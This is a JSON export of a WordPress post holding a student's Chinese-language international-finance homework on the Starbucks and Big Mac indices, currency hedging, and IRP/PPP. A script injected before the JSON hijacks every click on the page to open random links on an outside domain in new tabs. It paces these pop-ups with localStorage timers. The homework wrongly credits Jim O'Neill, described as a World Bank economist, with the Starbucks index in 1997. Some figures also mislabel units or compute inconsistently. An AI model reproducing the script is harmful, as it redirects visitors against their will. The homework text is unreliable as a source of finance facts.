<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":993,"date":"2023-03-27T18:53:19","date_gmt":"2023-03-27T10:53:19","guid":{"rendered":"https:\/\/edu.secda.info\/scu8154245\/?p=993"},"modified":"2023-03-30T00:53:55","modified_gmt":"2023-03-29T16:53:55","slug":"%e5%9c%8b%e9%9a%9b%e8%b2%a1%e7%ae%a1%e4%bd%9c%e6%a5%ad3","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154245\/?p=993","title":{"rendered":"\u570b\u969b\u8ca1\u7ba1\u4f5c\u696d3"},"content":{"rendered":"<div class=\"page\" title=\"Page 1\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p><strong>2. \u6458\u9304<\/strong><strong>\u570b\u969b\u5e73\u50f9\u7406<\/strong><strong>\u8ad6\u4e00\u5f35 A4 \u91cd\u9ede\u3002\u4f55\u8b02\u661f\u5df4\u514b\u6307\u6578? \u548c\u5927\u9ea5\u514b\u6307\u6578\u6709\u4f55\u512a\u7f3a\u9ede?<\/strong><\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-1016 size-full\" src=\"https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-30-\u4e0a\u534812.49.41.png\" alt=\"\" width=\"982\" height=\"1394\" srcset=\"https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-30-\u4e0a\u534812.49.41.png 982w, https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-30-\u4e0a\u534812.49.41-211x300.png 211w, https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-30-\u4e0a\u534812.49.41-564x800.png 564w, https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-30-\u4e0a\u534812.49.41-768x1090.png 768w\" sizes=\"(max-width: 982px) 100vw, 982px\" \/><\/p>\n<p>\u300c\u661f\u5df4\u514b\u6307\u6578\u300d\u662f\u4e00\u7a2e\u7531\u7d93\u6fdf\u5b78\u5bb6\u4f7f\u7528\u7684\u975e\u6b63\u5f0f\u6307\u6a19\uff0c\u7528\u4f86\u8a55\u4f30\u570b\u5bb6\u6216\u5730\u5340\u7684\u751f\u6d3b\u6c34\u5e73\u548c\u6d88\u8cbb\u80fd\u529b\u3002\u9019\u500b\u6982\u5ff5\u6e90\u65bc1997\u5e74<strong>\uff0c\u7576\u6642\u7684\u4e16\u754c\u9280\u884c\u7d93\u6fdf\u5b78\u5bb6\u7684\u4f2f\u5409\u65af\uff08Jim O&#8217;Neill\uff09\u63d0\u51fa\u7684\u4e00\u500b\u6982\u5ff5\uff0c\u4ed6\u8a8d\u70ba\u661f\u5df4\u514b\u5496\u5561\u7684\u50f9\u683c\u548c\u6d88\u8cbb\u8005\u80fd\u529b<\/strong>\u4e4b\u9593\u5b58\u5728\u4e00\u5b9a\u7684\u95dc\u4fc2\uff0c\u56e0\u6b64\u53ef\u4ee5\u4f5c\u70ba\u4e00\u500b\u8861\u91cf\u570b\u5bb6\u7d93\u6fdf\u767c\u5c55\u6c34\u5e73\u7684\u6307\u6a19\u3002<br \/>\n\u5177\u9ad4\u4f86\u8aaa\uff0c\u661f\u5df4\u514b\u6307\u6578\u901a\u5e38\u662f\u901a\u904e\u6bd4\u8f03\u661f\u5df4\u514b\u5728\u4e0d\u540c\u570b\u5bb6\u6216\u5730\u5340\u7684\u5496\u5561\u50f9\u683c\u4f86\u8a08\u7b97\u7684\u3002\u661f\u5df4\u514b\u7684\u5b9a\u50f9\u7b56\u7565\u901a\u5e38\u6703\u53d7\u5230\u7576\u5730\u7d93\u6fdf\u3001\u6d88\u8cbb\u8005\u6536\u5165\u6c34\u5e73\u7b49\u56e0\u7d20\u7684\u5f71\u97ff\uff0c\u56e0\u6b64\u5496\u5561\u50f9\u683c\u53ef\u4ee5\u53cd\u6620\u8a72\u5730\u5340\u7684\u6574\u9ad4\u7269\u50f9\u6c34\u5e73\u548c\u6d88\u8cbb\u80fd\u529b\u3002<br \/>\n\u7531\u65bc\u661f\u5df4\u514b\u548c\u9ea5\u7576\u52de\u5728\u5168\u7403\u5404\u5730\u90fd\u6709\u5e97\u92ea\uff0c\u56e0\u6b64\u661f\u5df4\u514b\u6307\u6578\u548c\u5927\u9ea5\u514b\u6307\u6578\u7686\u7528\u65bc\u6bd4\u8f03\u4e0d\u540c\u570b\u5bb6\u6216\u5730\u5340\u7684\u6d88\u8cbb\u751f\u6d3b\u6c34\u5e73\u7684\u975e\u6b63\u5f0f\u7d93\u6fdf\u6307\u6a19\uff0c\u5b83\u5011\u7684\u6700\u4e3b\u8981\u5dee\u5225\u5728\u65bc\u6bd4\u8f03\u7684\u5c0d\u8c61\u4e0d\u540c\u3002\u661f\u5df4\u514b\u6307\u6578\u6bd4\u8f03\u7684\u662f\u661f\u5df4\u514b\u5496\u5561\u5728\u4e0d\u540c\u570b\u5bb6\u6216\u5730\u5340\u7684\u50f9\u683c\uff0c\u800c\u5927\u9ea5\u514b\u6307\u6578\u6bd4\u8f03\u7684\u662f\u9ea5\u7576\u52de\u5728\u4e0d\u540c\u570b\u5bb6\u6216\u5730\u5340\u7684\u5927\u9ea5\u514b\u6f22\u5821\u50f9\u683c\u3002<\/p>\n<p>\u512a\u9ede\uff1a<br \/>\n<strong>\u661f\u5df4\u514b\u6307\u6578-<\/strong>\u5496\u5561\u662f\u65e5\u5e38\u7684\u6d88\u8cbb\u54c1\u4e4b\u4e00\uff0c\u661f\u5df4\u514b\u5728\u4e0d\u540c\u570b\u5bb6\u6216\u5730\u5340\u7684\u5b9a\u50f9\u7b56\u7565\u901a\u5e38\u6703\u56e0\u7576\u5730\u7d93\u6fdf\u548c\u6d88\u8cbb\u8005\u6536\u5165\u6c34\u5e73\u7b49\u56e0\u7d20\u5f71\u97ff\uff0c\u56e0\u6b64\uff0c\u53ef\u4ee5\u53cd\u6620\u8a72\u5730\u5340\u7684\u7d93\u6fdf\u5be6\u529b\u548c\u6d88\u8cbb\u80fd\u529b\u3002<br \/>\n<strong>\u5927\u9ea5\u514b\u6307\u6578-<\/strong>\u5927\u9ea5\u514b\u6307\u6578\u5728\u6bd4\u8f03\u570b\u5bb6\u6216\u5730\u5340\u7684\u6d88\u8cbb\u6c34\u5e73\u6642\uff0c\u53ef\u4ee5\u8003\u616e\u5230\u7576\u5730\u7684\u7269\u50f9\u6c34\u5e73\u548c\u532f\u7387\u7b49\u56e0\u7d20\uff0c\u56e0\u6b64\u66f4\u70ba\u5168\u9762\u4e00\u4e9b\u3002<\/p>\n<p>\u7f3a\u9ede\uff1a<br \/>\n<strong>\u661f\u5df4\u514b\u6307\u6578-<\/strong>\u661f\u5df4\u514b\u5728\u67d0\u4e9b\u5730\u5340\u53ef\u80fd\u53ea\u91dd\u5c0d\u9ad8\u6536\u5165\u65cf\u7fa4\u958b\u8a2d\u5e97\u92ea\uff0c\u6240\u4ee5\u5496\u5561\u50f9\u683c\u8207\u7576\u5730\u6574\u9ad4\u7d93\u6fdf\u5be6\u529b\u4e4b\u9593\u7684\u95dc\u4fc2\u53ef\u80fd\u4e26\u4e0d\u6e96\u78ba\u3002\u6b64\u5916\uff0c\u661f\u5df4\u514b\u7684\u5b9a\u50f9\u7b56\u7565\u53ef\u80fd\u6703\u53d7\u5230\u5176\u4ed6\u56e0\u7d20\u7684\u5f71\u97ff\uff0c\u4f8b\u5982\u7576\u5730\u7684\u7a05\u6536\u653f\u7b56\u3001\u7af6\u722d\u5c0d\u624b\u7684\u5b9a\u50f9\u7b56\u7565\u7b49\u7b49\uff0c\u56e0\u6b64\u5176\u50f9\u683c\u4e26\u4e0d\u4e00\u5b9a\u80fd\u5920\u5b8c\u5168\u53cd\u6620\u7576\u5730\u7684\u6d88\u8cbb\u80fd\u529b\u548c\u751f\u6d3b\u6c34\u5e73\u3002<br \/>\n<strong>\u5927\u9ea5\u514b\u6307\u6578-<\/strong>\u9ea5\u7576\u52de\u5728\u67d0\u4e9b\u5730\u5340\u53ef\u80fd\u958b\u8a2d\u8f03\u5c11\u5e97\u92ea\uff0c\u56e0\u6b64\u7121\u6cd5\u63d0\u4f9b\u5168\u9762\u7684\u6bd4\u8f03\u6578\u64da\uff0c\u800c\u4e14\u5927\u9ea5\u514b\u6f22\u5821\u4e26\u4e0d\u662f\u6bcf\u500b\u570b\u5bb6\u6216\u5730\u5340\u7684\u6d88\u8cbb\u8005\u90fd\u559c\u611b\uff0c\u56e0\u6b64\u5b83\u7684\u6bd4\u8f03\u7bc4\u570d\u76f8\u5c0d\u8f03\u7a84\uff0c\u5927\u9ea5\u514b\u6307\u6578\u5728\u6bd4\u8f03\u4e0d\u540c\u570b\u5bb6\u6216\u5730\u5340\u7684\u7d93\u6fdf\u5be6\u529b\u6642\u9700\u8981\u8003\u616e\u5230\u66f4\u591a\u7684\u56e0\u7d20\u3002<\/p>\n<div class=\"flex-1 overflow-hidden\">\n<div class=\"react-scroll-to-bottom--css-anpah-79elbk h-full dark:bg-gray-800\">\n<div class=\"react-scroll-to-bottom--css-anpah-1n7m0yu\">\n<div class=\"flex flex-col items-center text-sm dark:bg-gray-800\">\n<div class=\"group w-full text-gray-800 dark:text-gray-100 border-b border-black\/10 dark:border-gray-900\/50 bg-gray-50 dark:bg-[#444654]\">\n<div class=\"text-base gap-4 md:gap-6 md:max-w-2xl lg:max-w-2xl xl:max-w-3xl p-4 md:py-6 flex lg:px-0 m-auto\">\n<div class=\"relative flex w-[calc(100%-50px)] flex-col gap-1 md:gap-3 lg:w-[calc(100%-115px)]\">\n<div class=\"flex flex-grow flex-col gap-3\">\n<div class=\"min-h-[20px] flex flex-col items-start gap-4 whitespace-pre-wrap\">\n<div class=\"result-streaming markdown prose w-full break-words dark:prose-invert light\">\n<p>\u7e3d\u9ad4\u800c\u8a00\uff0c\u661f\u5df4\u514b\u6307\u6578\u548c\u5927\u9ea5\u514b\u6307\u6578\u90fd\u6709\u5176\u512a\u7f3a\u9ede\uff0c\u5728\u4f7f\u7528\u9019\u4e9b\u6307\u6578\u9032\u884c\u6bd4\u8f03\u6642\uff0c\u53ef\u80fd\u9700\u8981\u7d50\u5408\u5176\u4ed6\u7d93\u6fdf\u6307\u6a19\u548c\u6578\u64da\uff0c\u624d\u53ef\u4ee5\u7372\u5f97\u66f4\u5168\u9762\u548c\u6e96\u78ba\u7684\u6bd4\u8f03\u7d50\u679c\u3002<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"flex justify-between\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p><strong>3. \u6709\u4e00\u53f0\u7063\u9032\u53e3\u5546\uff0c\u4f9d\u5408\u7d04\u8981\u5728 6 \u500b\u6708\u5f8c\u5411\u7f8e\u570b\u516c\u53f8\u4ee5 100 \u842c\u7f8e \u5143\u8cfc\u8cb7\u9ec3\u8c46\u3002\u82e5\u5373\u671f\u532f\u7387\u70ba 31.2\uff0c6 \u500b\u6708\u9060\u671f\u532f\u7387\u70ba 31.5\uff0c\u65b0 \u53f0\u5e63 6 \u500b\u6708\u671f\u5229\u7387\u70ba 5%\uff0c\u7f8e\u5143 6 \u500b\u6708\u671f\u5229\u7387\u70ba 3%\uff0c\u8acb\u554f\u8a72\u9032\u53e3\u5546:<br \/>\n<\/strong><\/p>\n<p><strong>(1).\u82e5\u7528\u9060\u671f\u5916\u532f\u5e02\u5834\u907f\u96aa\u61c9\u5982\u4f55\u64cd\u4f5c?\u6240\u6709\u7684\u6210\u672c\u70ba \u591a\u5c11?(\u624b\u7e8c\u8cbb 0.05%)<br \/>\n<\/strong>\u82e5\u9810\u5148\u8cb7\u5165\u7f8e\u5143\u9060\u671f\u5916\u532f\u6210\u4ea4\u50f9\u683c\u70ba 31.5\uff0c\u91d1\u984d\u70ba 1,000,000 USD\uff0c<br \/>\n\u65bc 6 \u500b\u6708\u5f8c\u4ea4\u5272\uff0c\u4ea4\u5272\u91d1\u984d\u70ba\u00a031,500,000 NTD<br \/>\n\u52a0\u5165\u624b\u7e8c\u8cbb\u6210\u672c\u5f8c\u70ba\u00a031,500,000 NTD x (1 + 0.05%) = 31,515,750 NTD<\/p>\n<p><strong>(2).\u82e5\u7528\u8ca8\u5e63\u5e02\u5834\u907f\u96aa\u61c9\u5982\u4f55\u64cd\u4f5c?\u6210\u672c\u70ba\u4f55?(\u77ed\u671f\u878d\u8cc7\u6210\u672c\u70ba 3%)<br \/>\n<\/strong>6 \u500b\u6708\u5f8c\u7684\u9700\u652f\u4ed8\u7684\u7f8e\u5143\uff0c\u63db\u7b97\u6210\u73fe\u5728\u7684\u91d1\u984d\u70ba 1,000,000 USD \/ [1 + 3% x (6\/12) ] <b>\u2248<\/b>\u00a0985,222\u00a0USD<br \/>\n\u6240\u4ee5\u9700\u501f\u5165 985,222\u00a0USD x 31.2 <b>\u2248<\/b> 30,738,926 NTD<br \/>\n6 \u500b\u6708\u5f8c\u7684\u9700\u511f\u9084\u7684\u91d1\u984d\u70ba 30,738,926 NTD x\u00a0[1 + 5% x (6\/12) ] <b>\u2248<\/b> 31,507,399 USD<br \/>\n\u52a0\u5165\u77ed\u671f\u878d\u8cc7\u6210\u672c\u5f8c\u70ba 31,507,399 NTD x [1 + 3% x (6\/12) ]\u00a0<b>\u2248<\/b> 31,980,010 NTD<\/p>\n<\/div>\n<p>&nbsp;<\/p>\n<\/div>\n<\/div>\n<p><strong>4.<\/strong><strong>Integrating IRP and IFE<\/strong><\/p>\n<p>Assume the following information is available for the U.S. and Europe:<\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"170\"><\/td>\n<td width=\"94\">US<\/td>\n<td width=\"95\">EUROPE<\/td>\n<\/tr>\n<tr>\n<td width=\"170\">Nominal interest rate<\/td>\n<td width=\"94\">4%<\/td>\n<td width=\"95\">6%<\/td>\n<\/tr>\n<tr>\n<td width=\"170\">Expected inflation<\/td>\n<td width=\"94\">2%<\/td>\n<td width=\"95\">5%<\/td>\n<\/tr>\n<tr>\n<td width=\"170\">Spot rate<\/td>\n<td width=\"94\">&#8212;<\/td>\n<td width=\"95\">$1.13<\/td>\n<\/tr>\n<tr>\n<td width=\"170\">One-year forward rate<\/td>\n<td width=\"94\">&#8212;<\/td>\n<td width=\"95\">$1.10<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><i>a. Does IRP hold?<\/i><\/p>\n<p>IRP = ( S \u2013 $1.13 ) \/ $1.13 = ( 4% \u2013 6% ) \/ ( 1 + 6%)<\/p>\n<p>S =\u00a0( 4% \u2013 6% ) \/ ( 1 + 6%) \u00d7 $1.13 + $1.13 \u2252 1.109<\/p>\n<p>S \u2260 1.10\uff0cIRP \u4e0d\u6210\u7acb\u3002<\/p>\n<p><i>b. According to PPP, what is the expected spot rate of the euro in one year?<\/i><\/p>\n<p>PPP = ( S \u2013 $1.13 ) \/ $1.13 = ( 2% \u2013 5% ) \/ ( 1+5% )<\/p>\n<p>S =\u00a0( 2% \u2013 5% ) \/ ( 1+5% )\u00a0\u00d7 $1.13 + $1.13 \u2252 1.098<\/p>\n","protected":false},"excerpt":{"rendered":"<p>2. \u6458\u9304\u570b\u969b\u5e73\u50f9\u7406\u8ad6\u4e00\u5f35 A4 \u91cd\u9ede\u3002\u4f55\u8b02\u661f\u5df4\u514b\u6307\u6578? \u548c\u5927\u9ea5\u514b\u6307\u6578\u6709\u4f55\u512a\u7f3a\u9ede<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/993"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=993"}],"version-history":[{"count":18,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/993\/revisions"}],"predecessor-version":[{"id":1017,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/993\/revisions\/1017"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=993"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=993"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=993"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}